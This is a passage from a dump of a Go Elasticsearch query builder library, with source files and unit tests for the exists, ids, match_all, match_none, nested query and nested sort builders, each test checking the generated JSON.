16 | {ZeroTermsQuery.All, "all"}, 17 | {ZeroTermsQuery.None, "none"}, 18 | } 19 | 20 | for _, test := range tests { 21 | t.Run(test.result, func(t *testing.T) { 22 | assert.Equal(t, test.result, test.zeroTermsQuery.String()) 23 | }) 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /es/exists_query.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | type existsType Object 4 | 5 | // Exists creates a new es.existsType object to check if a field exists. 6 | // 7 | // This function initializes an es.existsType object that specifies a query to check 8 | // if a particular field exists in the documents. The key parameter represents 9 | // the name of the field to check for existence. 10 | // 11 | // Example usage: 12 | // 13 | // e := es.Exists("title") 14 | // // e now contains an es.existsType object that checks for the existence of the "title" field. 15 | // 16 | // Parameters: 17 | // - key: A string representing the name of the field to check for existence. 18 | // 19 | // Returns: 20 | // 21 | // An es.existsType object that includes the "exists" query for the specified field. 22 | func Exists(key string) existsType { 23 | return existsType{ 24 | "exists": Object{ 25 | "field": key, 26 | }, 27 | } 28 | } 29 | 30 | // Boost sets the "boost" parameter in an es.existsType query. 31 | // 32 | // This method allows you to specify a boost factor for the exists query, 33 | // which influences the relevance score of matching documents. A higher 34 | // boost value increases the importance of the query in the overall score, 35 | // resulting in higher scores for documents that satisfy the exists condition. 36 | // 37 | // Example usage: 38 | // 39 | // e := es.Exists().Boost(2.0) 40 | // // e now includes a "boost" parameter set to 2.0. 41 | // 42 | // Parameters: 43 | // - boost: A float64 value representing the boost factor for the exists 44 | // query. 45 | // 46 | // Returns: 47 | // 48 | // The updated es.existsType object with the "boost" parameter set. 49 | func (e existsType) Boost(boost float64) existsType { 50 | return e.putInTheField("boost", boost) 51 | } 52 | 53 | // ExistsFunc creates an es.existsType object based on a condition evaluated by a function. 54 | // 55 | // This function conditionally creates an es.existsType object if the provided function 56 | // returns true for the given key. If the function returns false, it returns nil 57 | // instead of creating an es.existsType object. 58 | // 59 | // Example usage: 60 | // 61 | // e := es.ExistsFunc("title", func(key string) bool { 62 | // return key != "" 63 | // }) 64 | // // e is either an es.existsType object or nil based on the condition. 65 | // 66 | // Parameters: 67 | // - key: A string representing the name of the field to check for existence. 68 | // - f: A function that takes a key and returns a boolean indicating whether 69 | // to create the es.existsType object. 70 | // 71 | // Returns: 72 | // 73 | // An es.existsType object if the condition is true; otherwise, nil. 74 | func ExistsFunc(key string, f func(key string) bool) existsType { 75 | if !f(key) { 76 | return nil 77 | } 78 | return Exists(key) 79 | } 80 | 81 | // ExistsIf creates an es.existsType object based on a boolean condition. 82 | // 83 | // This function creates an es.existsType object if the provided condition is true. 84 | // If the condition is false, it returns nil instead of creating an es.existsType object. 85 | // 86 | // Example usage: 87 | // 88 | // e := es.ExistsIf("title", true) 89 | // // e is an es.existsType object if the condition is true; otherwise, it is nil. 90 | // 91 | // Parameters: 92 | // - key: A string representing the name of the field to check for existence. 93 | // - condition: A boolean value that determines whether to create the es.existsType object. 94 | // 95 | // Returns: 96 | // 97 | // An es.existsType object if the condition is true; otherwise, nil. 98 | func ExistsIf(key string, condition bool) existsType { 99 | if !condition { 100 | return nil 101 | } 102 | return Exists(key) 103 | } 104 | 105 | func (e existsType) putInTheField(key string, value any) existsType { 106 | if exists, ok := e["exists"].(Object); ok { 107 | exists[key] = value 108 | } 109 | return e 110 | } 111 | -------------------------------------------------------------------------------- /es/ids_query.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | type idsType Object 4 | 5 | // IDs creates a new es.idsType object representing an Elasticsearch "ids" query. 6 | // 7 | // This function initializes an es.idsType object for an "ids" query, which allows 8 | // you to match documents by their unique document IDs. It accepts a variadic list 9 | // of strings, each representing a document ID to include in the query. 10 | // 11 | // Example usage: 12 | // 13 | // q := es.IDs("1", "2", "3") 14 | // // q now contains an es.idsType object with an "ids" query 15 | // // matching documents with IDs "1", "2", or "3". 16 | // 17 | // Parameters: 18 | // - values: A variadic list of strings representing document IDs to be matched. 19 | // 20 | // Returns: 21 | // 22 | // An es.idsType object containing the specified "ids" query. 23 | func IDs[T ~string](values ...T) idsType { 24 | return idsType{ 25 | "ids": Object{ 26 | "values": values, 27 | }, 28 | } 29 | } 30 | 31 | // IDsArray creates a new es.idsType object representing an Elasticsearch "ids" query, 32 | // using a slice of strings as input. 33 | // 34 | // This function is an alternative to IDs and is useful when the document IDs are 35 | // already available in a slice. It avoids the need to unpack the slice manually. 36 | // 37 | // Example usage: 38 | // 39 | // ids := []string{"doc1", "doc2", "doc3"} 40 | // q := es.IDsArray(ids) 41 | // // q now contains an es.idsType object with an "ids" query 42 | // // matching documents with IDs "doc1", "doc2", or "doc3". 43 | // 44 | // Parameters: 45 | // - values: A slice of strings representing document IDs to be matched. 46 | // 47 | // Returns: 48 | // 49 | // An es.idsType object containing the specified "ids" query. 50 | func IDsArray[T ~string](values []T) idsType { 51 | return idsType{ 52 | "ids": Object{ 53 | "values": values, 54 | }, 55 | } 56 | } 57 | 58 | // Boost sets the "boost" parameter in an es.idsType query. 59 | // 60 | // This method allows you to specify a boost factor for the "ids" query, 61 | // which influences the relevance score of documents matching the given IDs. 62 | // A higher boost value increases the importance of this query when scoring results. 63 | // 64 | // Example usage: 65 | // 66 | // q := es.IDs("a", "b").Boost(1.5) 67 | // // q now includes a "boost" parameter set to 1.5. 68 | // 69 | // Parameters: 70 | // - boost: A float64 value representing the boost factor for the "ids" query. 71 | // 72 | // Returns: 73 | // 74 | // The updated es.idsType object with the "boost" parameter set. 75 | func (i idsType) Boost(boost float64) idsType { 76 | return i.putInTheField("boost", boost) 77 | } 78 | 79 | // Name sets the "_name" parameter in an es.idsType query. 80 | // 81 | // This method assigns a custom name to the "ids" query using the "_name" parameter. 82 | // Named queries are useful for identifying which query clauses matched when analyzing 83 | // the results of a search, especially in scenarios involving complex or nested queries. 84 | // 85 | // Example usage: 86 | // 87 | // q := es.IDs("1", "2").Name("important-ids") 88 | // // q now includes a "_name" parameter set to "important-ids". 89 | // 90 | // Parameters: 91 | // - name: A string value that names the query clause. 92 | // 93 | // Returns: 94 | // 95 | // The updated es.idsType object with the "_name" parameter set. 96 | func (i idsType) Name(name string) idsType { 97 | return i.putInTheField("_name", name) 98 | } 99 | 100 | func (i idsType) putInTheField(key string, value any) idsType { 101 | if ids, ok := i["ids"].(Object); ok { 102 | ids[key] = value 103 | } 104 | return i 105 | } 106 | -------------------------------------------------------------------------------- /es/ids_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/es" 7 | "github.com/trustingprom/es-query-builder/test/assert" 8 | ) 9 | 10 | func Test_IDs_should_exist_on_es_package(t *testing.T) { 11 | t.Parallel() 12 | // Given When Then 13 | assert.NotNil(t, es.IDs[string]) 14 | } 15 | 16 | func Test_IDs_should_create_json_with_ids_field(t *testing.T) { 17 | t.Parallel() 18 | // Given 19 | query := es.NewQuery( 20 | es.IDs("1", "2", "3"), 21 | ) 22 | 23 | // When Then 24 | assert.NotNil(t, query) 25 | bodyJSON := assert.MarshalWithoutError(t, query) 26 | assert.Equal(t, "{\"query\":{\"ids\":{\"values\":[\"1\",\"2\",\"3\"]}}}", bodyJSON) 27 | } 28 | 29 | func Test_IDsArray_should_create_json_with_ids_field(t *testing.T) { 30 | t.Parallel() 31 | // Given 32 | ids := []string{"a", "b"} 33 | query := es.NewQuery( 34 | es.IDsArray(ids), 35 | ) 36 | 37 | // When Then 38 | assert.NotNil(t, query) 39 | bodyJSON := assert.MarshalWithoutError(t, query) 40 | assert.Equal(t, "{\"query\":{\"ids\":{\"values\":[\"a\",\"b\"]}}}", bodyJSON) 41 | } 42 | 43 | func Test_IDs_method_should_create_idsType(t *testing.T) { 44 | t.Parallel() 45 | // Given 46 | b := es.IDs("doc-1") 47 | 48 | // Then 49 | assert.NotNil(t, b) 50 | assert.IsTypeString(t, "es.idsType", b) 51 | } 52 | 53 | func Test_IDs_should_have_Boost_method(t *testing.T) { 54 | t.Parallel() 55 | // Given 56 | ids := es.IDs("doc-1") 57 | 58 | // When Then 59 | assert.NotNil(t, ids.Boost) 60 | } 61 | 62 | func Test_IDs_Boost_should_create_json_with_boost_field_inside_ids(t *testing.T) { 63 | t.Parallel() 64 | // Given 65 | query := es.NewQuery( 66 | es.IDs("doc-1", "doc-2"). 67 | Boost(2.5), 68 | ) 69 | 70 | // When Then 71 | assert.NotNil(t, query) 72 | bodyJSON := assert.MarshalWithoutError(t, query) 73 | assert.Equal(t, "{\"query\":{\"ids\":{\"boost\":2.5,\"values\":[\"doc-1\",\"doc-2\"]}}}", bodyJSON) 74 | } 75 | 76 | func Test_IDs_should_have_Name_method(t *testing.T) { 77 | t.Parallel() 78 | // Given 79 | ids := es.IDs("doc-1") 80 | 81 | // When Then 82 | assert.NotNil(t, ids.Name) 83 | } 84 | 85 | func Test_IDs_Name_should_create_json_with__name_field_inside_ids(t *testing.T) { 86 | t.Parallel() 87 | // Given 88 | query := es.NewQuery( 89 | es.IDs("doc-1", "doc-2"). 90 | Name("ids-tag"), 91 | ) 92 | 93 | // When Then 94 | assert.NotNil(t, query) 95 | bodyJSON := assert.MarshalWithoutError(t, query) 96 | assert.Equal(t, "{\"query\":{\"ids\":{\"_name\":\"ids-tag\",\"values\":[\"doc-1\",\"doc-2\"]}}}", bodyJSON) 97 | } 98 | -------------------------------------------------------------------------------- /es/match_all_query.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | type matchAllType Object 4 | 5 | // MatchAll creates a new es.matchAllType object that matches all documents. 6 | // 7 | // This function initializes an es.matchAllType object that is used to construct queries 8 | // that match all documents. This can be useful for scenarios where you want to ensure 9 | // that all documents are included in the results. 10 | // 11 | // Example usage: 12 | // 13 | // ma := es.MatchAll() 14 | // // ma now contains an es.matchAllType object that matches all documents. 15 | // 16 | // Returns: 17 | // 18 | // An es.matchAllType object with a match_all query that matches all documents. 19 | func MatchAll() matchAllType { 20 | return matchAllType{ 21 | "match_all": Object{}, 22 | } 23 | } 24 | 25 | // Boost sets the "boost" field in the match_all query. 26 | // 27 | // This method configures the match_all query to use a specified boost factor, which influences 28 | // the relevance scoring of the matched documents. 29 | // 30 | // Example usage: 31 | // 32 | // ma := es.MatchAll().Boost(1.5) 33 | // // ma now has a "boost" field set to 1.5 in the match_all query object. 34 | // 35 | // Parameters: 36 | // - boost: A float64 value representing the boost factor to be applied to the match_all query. 37 | // 38 | // Returns: 39 | // 40 | // The updated es.matchAllType object with the "boost" field set to the specified value. 41 | func (m matchAllType) Boost(boost float64) matchAllType { 42 | return m.putInTheField("boost", boost) 43 | } 44 | 45 | func (m matchAllType) putInTheField(key string, value any) matchAllType { 46 | if matchAll, ok := m["match_all"].(Object); ok { 47 | matchAll[key] = value 48 | } 49 | return m 50 | } 51 | -------------------------------------------------------------------------------- /es/match_all_query_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/es" 7 | "github.com/trustingprom/es-query-builder/test/assert" 8 | ) 9 | 10 | //// MatchAll //// 11 | 12 | func Test_MatchAll_should_exist_on_es_package(t *testing.T) { 13 | t.Parallel() 14 | // Given When Then 15 | assert.NotNil(t, es.MatchAll) 16 | } 17 | 18 | func Test_MatchAll_method_should_create_matchAllType(t *testing.T) { 19 | t.Parallel() 20 | // Given 21 | matchAll := es.MatchAll() 22 | 23 | // Then 24 | assert.NotNil(t, matchAll) 25 | assert.IsTypeString(t, "es.matchAllType", matchAll) 26 | } 27 | 28 | func Test_MatchAll_should_create_json_with_match_all_field_inside_query(t *testing.T) { 29 | t.Parallel() 30 | // Given 31 | query := es.NewQuery( 32 | es.MatchAll(). 33 | Boost(2.14), 34 | ) 35 | 36 | // When Then 37 | assert.NotNil(t, query) 38 | bodyJSON := assert.MarshalWithoutError(t, query) 39 | assert.Equal(t, "{\"query\":{\"match_all\":{\"boost\":2.14}}}", bodyJSON) 40 | } 41 | -------------------------------------------------------------------------------- /es/match_none_query.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | type matchNoneType Object 4 | 5 | // MatchNone creates a new es.matchNoneType object with the specified field and query. 6 | // 7 | // This function initializes an es.matchNoneType object for a match_none query, where the key 8 | // represents the field name and query is the value to be matched. This is used to construct 9 | // queries that explicitly match no documents for the specified value in the given field. 10 | // 11 | // Example usage: 12 | // 13 | // mn := es.MatchNone("title", "es-query-builder") 14 | // // mn now contains an es.matchNoneType object that matches no documents for the "title" field with the query "es-query-builder". 15 | // 16 | // Parameters: 17 | // - key: A string representing the field name for the match_none query. 18 | // - query: The value to be used in the match_none query. The type is generic. 19 | // 20 | // Returns: 21 | // 22 | // An es.matchNoneType object containing the specified match_none query. 23 | func MatchNone[T any](key string, query T) matchNoneType { 24 | return matchNoneType{ 25 | "match_none": Object{ 26 | key: Object{ 27 | "query": query, 28 | }, 29 | }, 30 | } 31 | } 32 | 33 | // Boost sets the "boost" field in the match_none query. 34 | // 35 | // This method configures the match_none query to use a specified boost factor, which influences 36 | // the relevance scoring of the matched documents. It calls putInTheField to add or update 37 | // the "boost" key in the match_none query object. 38 | // 39 | // Example usage: 40 | // 41 | // mn := es.MatchNone("title", "es-query-builder").Boost(1.5) 42 | // // mn now has a "boost" field set to 1.5 in the match_none query object. 43 | // 44 | // Parameters: 45 | // - boost: A float64 value representing the boost factor to be applied to the match_none query. 46 | // 47 | // Returns: 48 | // 49 | // The updated es.matchNoneType object with the "boost" field set to the specified value. 50 | func (m matchNoneType) Boost(boost float64) matchNoneType { 51 | return m.putInTheField("boost", boost) 52 | } 53 | 54 | func (m matchNoneType) putInTheField(key string, value any) matchNoneType { 55 | if matchNone, ok := m["match_none"].(Object); ok { 56 | for _, fieldObj := range matchNone { 57 | if fieldObject, foOk := fieldObj.(Object); foOk { 58 | fieldObject[key] = value 59 | break 60 | } 61 | } 62 | } 63 | return m 64 | } 65 | -------------------------------------------------------------------------------- /es/match_none_query_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/es" 7 | "github.com/trustingprom/es-query-builder/test/assert" 8 | ) 9 | 10 | //// MatchNone //// 11 | 12 | func Test_MatchNone_should_exist_on_es_package(t *testing.T) { 13 | t.Parallel() 14 | // Given When Then 15 | assert.NotNil(t, es.MatchNone[any]) 16 | } 17 | 18 | func Test_MatchNone_method_should_create_matchNoneType(t *testing.T) { 19 | t.Parallel() 20 | // Given 21 | b := es.MatchNone("key", "value") 22 | 23 | // Then 24 | assert.NotNil(t, b) 25 | assert.IsTypeString(t, "es.matchNoneType", b) 26 | } 27 | 28 | func Test_MatchNone_should_create_json_with_match_none_field_inside_query(t *testing.T) { 29 | t.Parallel() 30 | // Given 31 | query := es.NewQuery( 32 | es.MatchNone("fooBar", "lorem ipsum"). 33 | Boost(6.19), 34 | ) 35 | 36 | // When Then 37 | assert.NotNil(t, query) 38 | bodyJSON := assert.MarshalWithoutError(t, query) 39 | // nolint:golint,lll 40 | assert.Equal(t, "{\"query\":{\"match_none\":{\"fooBar\":{\"boost\":6.19,\"query\":\"lorem ipsum\"}}}}", bodyJSON) 41 | } 42 | -------------------------------------------------------------------------------- /es/match_phrase_query_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | ZeroTermsQuery "github.com/trustingprom/es-query-builder/es/enums/zero-terms-query" 7 | 8 | "github.com/trustingprom/es-query-builder/es" 9 | "github.com/trustingprom/es-query-builder/test/assert" 10 | ) 11 | 12 | //// Match Phrase //// 13 | 14 | func Test_MatchPhrase_should_exist_on_es_package(t *testing.T) { 15 | t.Parallel() 16 | // Given When Then 17 | assert.NotNil(t, es.MatchPhrase[any]) 18 | } 19 | 20 | func Test_MatchPhrase_method_should_create_matchPhraseType(t *testing.T) { 21 | t.Parallel() 22 | // Given 23 | b := es.MatchPhrase("key", "value") 24 | 25 | // Then 26 | assert.NotNil(t, b) 27 | assert.IsTypeString(t, "es.matchPhraseType", b) 28 | } 29 | 30 | func Test_MatchPhrase_should_have_Analyzer_method(t *testing.T) { 31 | t.Parallel() 32 | // Given 33 | match := es.MatchPhrase("key", "value") 34 | 35 | // When Then 36 | assert.NotNil(t, match.Analyzer) 37 | } 38 | 39 | func Test_MatchPhrase_Analyzer_should_create_json_with_analyzer_field_inside_match_phrase(t *testing.T) { 40 | t.Parallel() 41 | // Given 42 | query := es.NewQuery( 43 | es.MatchPhrase("type", "Folder"). 44 | Analyzer("standart"), 45 | ) 46 | 47 | // When Then 48 | assert.NotNil(t, query) 49 | bodyJSON := assert.MarshalWithoutError(t, query) 50 | assert.Equal(t, "{\"query\":{\"match_phrase\":{\"type\":{\"analyzer\":\"standart\",\"query\":\"Folder\"}}}}", bodyJSON) 51 | } 52 | 53 | func Test_MatchPhrase_should_have_Boost_method(t *testing.T) { 54 | t.Parallel() 55 | // Given 56 | match := es.MatchPhrase("key", "value") 57 | 58 | // When Then 59 | assert.NotNil(t, match.Boost) 60 | } 61 | 62 | func Test_MatchPhrase_Boost_should_create_json_with_boost_field_inside_match_phrase(t *testing.T) { 63 | t.Parallel() 64 | // Given 65 | query := es.NewQuery( 66 | es.MatchPhrase("type", "Folder"). 67 | Boost(3.14), 68 | ) 69 | 70 | // When Then 71 | assert.NotNil(t, query) 72 | bodyJSON := assert.MarshalWithoutError(t, query) 73 | assert.Equal(t, "{\"query\":{\"match_phrase\":{\"type\":{\"boost\":3.14,\"query\":\"Folder\"}}}}", bodyJSON) 74 | } 75 | 76 | func Test_MatchPhrase_should_have_Slop_method(t *testing.T) { 77 | t.Parallel() 78 | // Given 79 | match := es.MatchPhrase("key", "value") 80 | 81 | // When Then 82 | assert.NotNil(t, match.Slop) 83 | } 84 | 85 | func Test_MatchPhrase_Slop_should_create_json_with_slop_field_inside_match_phrase(t *testing.T) { 86 | t.Parallel() 87 | // Given 88 | query := es.NewQuery( 89 | es.MatchPhrase("type", "Folder"). 90 | Slop(3), 91 | ) 92 | 93 | // When Then 94 | assert.NotNil(t, query) 95 | bodyJSON := assert.MarshalWithoutError(t, query) 96 | assert.Equal(t, "{\"query\":{\"match_phrase\":{\"type\":{\"query\":\"Folder\",\"slop\":3}}}}", bodyJSON) 97 | } 98 | 99 | func Test_MatchPhrase_should_have_ZeroTermsQuery_method(t *testing.T) { 100 | t.Parallel() 101 | // Given 102 | match := es.MatchPhrase("key", "value") 103 | 104 | // When Then 105 | assert.NotNil(t, match.ZeroTermsQuery) 106 | } 107 | 108 | func Test_MatchPhrase_ZeroTermsQuery_should_create_json_with_zero_terms_query_field_inside_match_phrase(t *testing.T) { 109 | t.Parallel() 110 | // Given 111 | query := es.NewQuery( 112 | es.MatchPhrase("type", "Folder"). 113 | ZeroTermsQuery(ZeroTermsQuery.All), 114 | ) 115 | 116 | // When Then 117 | assert.NotNil(t, query) 118 | bodyJSON := assert.MarshalWithoutError(t, query) 119 | assert.Equal(t, "{\"query\":{\"match_phrase\":{\"type\":{\"query\":\"Folder\",\"zero_terms_query\":\"all\"}}}}", bodyJSON) 120 | } 121 | 122 | func Test_MatchPhrase_should_create_json_with_match_phrase_field_inside_query(t *testing.T) { 123 | t.Parallel() 124 | // Given 125 | query := es.NewQuery( 126 | es.MatchPhrase("message", "this is a test"). 127 | Analyzer("standart"). 128 | Boost(2.14). 129 | Slop(9). 130 | ZeroTermsQuery(ZeroTermsQuery.None), 131 | ) 132 | 133 | // When Then 134 | assert.NotNil(t, query) 135 | bodyJSON := assert.MarshalWithoutError(t, query) 136 | // nolint:golint,lll 137 | assert.Equal(t, "{\"query\":{\"match_phrase\":{\"message\":{\"analyzer\":\"standart\",\"boost\":2.14,\"query\":\"this is a test\",\"slop\":9,\"zero_terms_query\":\"none\"}}}}", bodyJSON) 138 | } 139 | -------------------------------------------------------------------------------- /es/nested_query_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | ScoreMode "github.com/trustingprom/es-query-builder/es/enums/score-mode" 7 | 8 | "github.com/trustingprom/es-query-builder/es" 9 | "github.com/trustingprom/es-query-builder/test/assert" 10 | ) 11 | 12 | //// Nested //// 13 | 14 | func Test_Nested_should_exist_on_es_package(t *testing.T) { 15 | t.Parallel() 16 | // Given When Then 17 | assert.NotNil(t, es.Nested[any]) 18 | } 19 | 20 | func Test_Nested_method_should_create_nestedType(t *testing.T) { 21 | t.Parallel() 22 | // Given 23 | n := es.Nested("path", es.Object{}) 24 | 25 | // Then 26 | assert.NotNil(t, n) 27 | assert.IsTypeString(t, "es.nestedType", n) 28 | } 29 | 30 | func Test_Nested_should_create_query_json_with_nested_field_inside(t *testing.T) { 31 | t.Parallel() 32 | // Given 33 | query := es.NewQuery( 34 | es.Nested("nested.path", 35 | es.Object{}, 36 | ), 37 | ) 38 | 39 | // When Then 40 | assert.NotNil(t, query) 41 | bodyJSON := assert.MarshalWithoutError(t, query) 42 | assert.Equal(t, "{\"query\":{\"nested\":{\"path\":\"nested.path\",\"query\":{}}}}", bodyJSON) 43 | } 44 | 45 | func Test_Nested_should_have_InnerHits_method(t *testing.T) { 46 | t.Parallel() 47 | // Given 48 | n := es.Nested("path", es.Object{}) 49 | 50 | // When Then 51 | assert.NotNil(t, n.InnerHits) 52 | } 53 | 54 | func Test_InnerHits_should_add_inner_hits_field_into_Nested(t *testing.T) { 55 | t.Parallel() 56 | // Given 57 | query := es.NewQuery( 58 | es.Nested("nested.path", es.Object{}). 59 | InnerHits( 60 | es.InnerHits(). 61 | Size(1_000). 62 | From(5_000), 63 | ), 64 | ) 65 | 66 | // When Then 67 | assert.NotNil(t, query) 68 | bodyJSON := assert.MarshalWithoutError(t, query) 69 | assert.Equal(t, "{\"query\":{\"nested\":{\"inner_hits\":{\"from\":5000,\"size\":1000},\"path\":\"nested.path\",\"query\":{}}}}", bodyJSON) 70 | } 71 | 72 | func Test_Nested_should_have_ScoreMode_method(t *testing.T) { 73 | t.Parallel() 74 | // Given 75 | n := es.Nested("path", es.Object{}) 76 | 77 | // When Then 78 | assert.NotNil(t, n.ScoreMode) 79 | } 80 | 81 | func Test_ScoreMod_should_add_score_mode_field_into_Nested(t *testing.T) { 82 | t.Parallel() 83 | // Given 84 | query := es.NewQuery( 85 | es.Nested("nested.path", es.Object{}).ScoreMode(ScoreMode.Sum), 86 | ) 87 | 88 | // When Then 89 | assert.NotNil(t, query) 90 | bodyJSON := assert.MarshalWithoutError(t, query) 91 | assert.Equal(t, "{\"query\":{\"nested\":{\"path\":\"nested.path\",\"query\":{},\"score_mode\":\"sum\"}}}", bodyJSON) 92 | } 93 | 94 | func Test_Nested_should_have_Boost_method(t *testing.T) { 95 | t.Parallel() 96 | // Given 97 | n := es.Nested("path", es.Object{}) 98 | 99 | // When Then 100 | assert.NotNil(t, n.Boost) 101 | } 102 | 103 | func Test_Boost_should_add_boost_field_into_Nested(t *testing.T) { 104 | t.Parallel() 105 | // Given 106 | query := es.NewQuery( 107 | es.Nested("nested.path", es.Object{}).Boost(5.56), 108 | ) 109 | 110 | // When Then 111 | assert.NotNil(t, query) 112 | bodyJSON := assert.MarshalWithoutError(t, query) 113 | assert.Equal(t, "{\"query\":{\"nested\":{\"boost\":5.56,\"path\":\"nested.path\",\"query\":{}}}}", bodyJSON) 114 | } 115 | 116 | func Test_Nested_should_have_IgnoreUnmapped_method(t *testing.T) { 117 | t.Parallel() 118 | // Given 119 | n := es.Nested("path", es.Object{}) 120 | 121 | // When Then 122 | assert.NotNil(t, n.IgnoreUnmapped) 123 | } 124 | 125 | func Test_IgnoreUnmapped_should_add_ignore_unmapped_field_into_Nested(t *testing.T) { 126 | t.Parallel() 127 | // Given 128 | query := es.NewQuery( 129 | es.Nested("nested.path", es.Object{}).IgnoreUnmapped(true), 130 | ) 131 | 132 | // When Then 133 | assert.NotNil(t, query) 134 | bodyJSON := assert.MarshalWithoutError(t, query) 135 | assert.Equal(t, "{\"query\":{\"nested\":{\"ignore_unmapped\":true,\"path\":\"nested.path\",\"query\":{}}}}", bodyJSON) 136 | } 137 | -------------------------------------------------------------------------------- /es/nested_sort.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | type nestedSortType Object 4 | 5 | // NestedSort creates a new es.nestedSortType object with the specified path. 6 | // 7 | // This function initializes an es.nestedSortType object, which is used to define 8 | // sorting behavior for fields within nested documents. The specified path determines 9 | // which nested field the sorting applies to. 10 | // 11 | // Example usage: 12 | // 13 | // ns := es.NestedSort("user") 14 | // // ns now includes a nestedSortType with the "user" path. 15 | // 16 | // Parameters: 17 | // - path: A string representing the nested field path to sort by. 18 | // 19 | // Returns: 20 | // 21 | // An es.nestedSortType object with the specified path. 22 | func NestedSort(path string) nestedSortType { 23 | return nestedSortType{ 24 | "path": path, 25 | } 26 | } 27 | 28 | // Filter sets the "filter" parameter in an es.nestedSortType object. 29 | // 30 | // This method applies a filtering condition to the nested sorting, ensuring that 31 | // only documents matching the filter criteria are considered for sorting. 32 | // 33 | // Example usage: 34 | // 35 | // ns := es.NestedSort("user").Filter(es.Term("user.active", true)) 36 | // // ns now includes a "filter" parameter with the specified filter. 37 | // 38 | // Parameters: 39 | // - filter: A filter object defining the condition for filtering nested documents. 40 | // 41 | // Returns: 42 | // 43 | // The updated es.nestedSortType object with the "filter" parameter set. 44 | func (ns nestedSortType) Filter(filter any) nestedSortType { 45 | if field, fOk := correctType(filter); fOk { 46 | ns["filter"] = field 47 | } 48 | return ns 49 | } 50 | 51 | // MaxChildren sets the "max_children" parameter in an es.nestedSortType object. 52 | // 53 | // This method specifies the maximum number of child documents that will be 54 | // considered when sorting the parent document. It helps control sorting behavior 55 | // in cases where multiple nested documents exist. 56 | // 57 | // Example usage: 58 | // 59 | // ns := es.NestedSort("user").MaxChildren(3) 60 | // // ns now includes a "max_children" parameter with the value 3. 61 | // 62 | // Parameters: 63 | // - maxChildren: An integer representing the maximum number of child documents considered for sorting. 64 | // 65 | // Returns: 66 | // 67 | // The updated es.nestedSortType object with the "max_children" parameter set. 68 | func (ns nestedSortType) MaxChildren(maxChildren int) nestedSortType { 69 | ns["max_children"] = maxChildren 70 | return ns 71 | } 72 | 73 | // Nested sets a nested sorting configuration within an es.nestedSortType object. 74 | // 75 | // This method allows defining nested sorting within another nested field, enabling 76 | // multi-level sorting configurations. 77 | // 78 | // Example usage: 79 | // 80 | // ns := es.NestedSort("user").Nested(es.NestedSort("user.address")) 81 | // // ns now includes a "nested" parameter with the specified nested sorting configuration. 82 | // 83 | // Parameters: 84 | // - nested: A nestedSortType object defining the nested sorting behavior. 85 | // 86 | // Returns: 87 | // 88 | // The updated es.nestedSortType object with the "nested" parameter set. 89 | func (ns nestedSortType) Nested(nested nestedSortType) nestedSortType { 90 | ns["nested"] = nested 91 | return ns 92 | } 93 | -------------------------------------------------------------------------------- /es/nested_sort_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/es" 7 | "github.com/trustingprom/es-query-builder/test/assert" 8 | ) 9 | 10 | func Test_NestedSort_should_exist_on_es_package(t *testing.T) { 11 | t.Parallel() 12 | // Given When Then 13 | assert.NotNil(t, es.NestedSort) 14 | } 15 | 16 | func Test_NestedSort_method_should_create_nestedSortType(t *testing.T) { 17 | t.Parallel() 18 | // Given 19 | n := es.NestedSort("timestamp") 20 | 21 | // Then 22 | assert.NotNil(t, n) 23 | assert.IsTypeString(t, "es.nestedSortType", n) 24 | } 25 | 26 | func Test_NestedSort_should_have_MaxChildren_method(t *testing.T) { 27 | t.Parallel() 28 | // Given 29 | nestedSort := es.NestedSort("timestamp") 30 | 31 | // When Then 32 | assert.NotNil(t, nestedSort.MaxChildren) 33 | } 34 | 35 | func Test_MaxChildren_should_add_max_children_field_into_NestedSort(t *testing.T) { 36 | t.Parallel() 37 | // Given 38 | nestedSort := es.NestedSort("timestamp").MaxChildren(42) 39 | 40 | // When Then 41 | assert.NotNil(t, nestedSort) 42 | bodyJSON := assert.MarshalWithoutError(t, nestedSort) 43 | assert.Equal(t, "{\"max_children\":42,\"path\":\"timestamp\"}", bodyJSON) 44 | } 45 | 46 | func Test_NestedSort_should_have_Filter_method(t *testing.T) { 47 | t.Parallel() 48 | // Given 49 | nestedSort := es.NestedSort("timestamp") 50 | 51 | // When Then 52 | assert.NotNil(t, nestedSort.Filter) 53 | } 54 | 55 | func Test_Filter_should_add_filter_field_into_NestedSort(t *testing.T) { 56 | t.Parallel() 57 | // Given 58 | nestedSort := es.NestedSort("timestamp"). 59 | Filter( 60 | es.Bool().Must( 61 | es.Term("soldier", 76), 62 | ), 63 | ) 64 | 65 | // When Then 66 | assert.NotNil(t, nestedSort) 67 | bodyJSON := assert.MarshalWithoutError(t, nestedSort) 68 | assert.Equal(t, "{\"filter\":{\"bool\":{\"must\":[{\"term\":{\"soldier\":{\"value\":76}}}]}},\"path\":\"timestamp\"}", bodyJSON) 69 | } 70 | 71 | func Test_NestedSort_should_have_Nested_method(t *testing.T) { 72 | t.Parallel() 73 | // Given 74 | nestedSort := es.NestedSort("timestamp") 75 | 76 | // When Then 77 | assert.NotNil(t, nestedSort.Nested) 78 | } 79 | 80 | func Test_Nested_should_add_filter_field_into_NestedSort(t *testing.T) { 81 | t.Parallel() 82 | // Given 83 | nestedSort := es.NestedSort("timestamp").Nested(es.NestedSort("zone")) 84 | 85 | // When Then 86 | assert.NotNil(t, nestedSort) 87 | bodyJSON := assert.MarshalWithoutError(t, nestedSort) 88 | assert.Equal(t, "{\"nested\":{\"path\":\"zone\"},\"path\":\"timestamp\"}", bodyJSON) 89 | } 90 | -------------------------------------------------------------------------------- /es/regexp_query_test.go: 